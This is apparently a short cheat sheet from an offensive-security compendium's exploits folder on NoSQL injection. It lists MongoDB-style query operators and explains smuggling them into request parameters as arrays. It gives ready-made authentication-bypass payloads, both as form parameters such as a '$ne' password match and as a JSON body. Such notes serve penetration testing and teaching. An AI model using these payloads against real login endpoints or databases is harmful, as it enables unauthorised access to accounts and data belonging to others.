killchain-compendium/Exploits/Databases/NoSQL Injection.md

NoSQL Injections

• No tables, but files (collections)
• Examples are Elasticsearch, MongoDB, Redis, CouchDB.

Querying

• Filter instead of SQL queries
• Redis docs
• MongoDB operators
• Elasticsearch docs

Operators

• A precondition to the injection is to know the most common operators listed below

$and
$or
$eq
$ne
$gt
$where
$exists
$regex

Injection

The payload is delivered inside the parameters of the request. To deliver malicious payload the operators can be negated. That means the for example all users except the known one used in the request is included in the response from the database server.

• Pass HTTP parameter as an array instead of user= and password= use

user[$operator]=foo&password[$operator]=bar

• Give a 2D array a chance as well while fiddling with the request in following way

user[$nin][]=foo

Examples

• POST or GET parameters

username=admin&password[$ne]=admin

• JSON

{"username":"user","password":{"$ne":""} }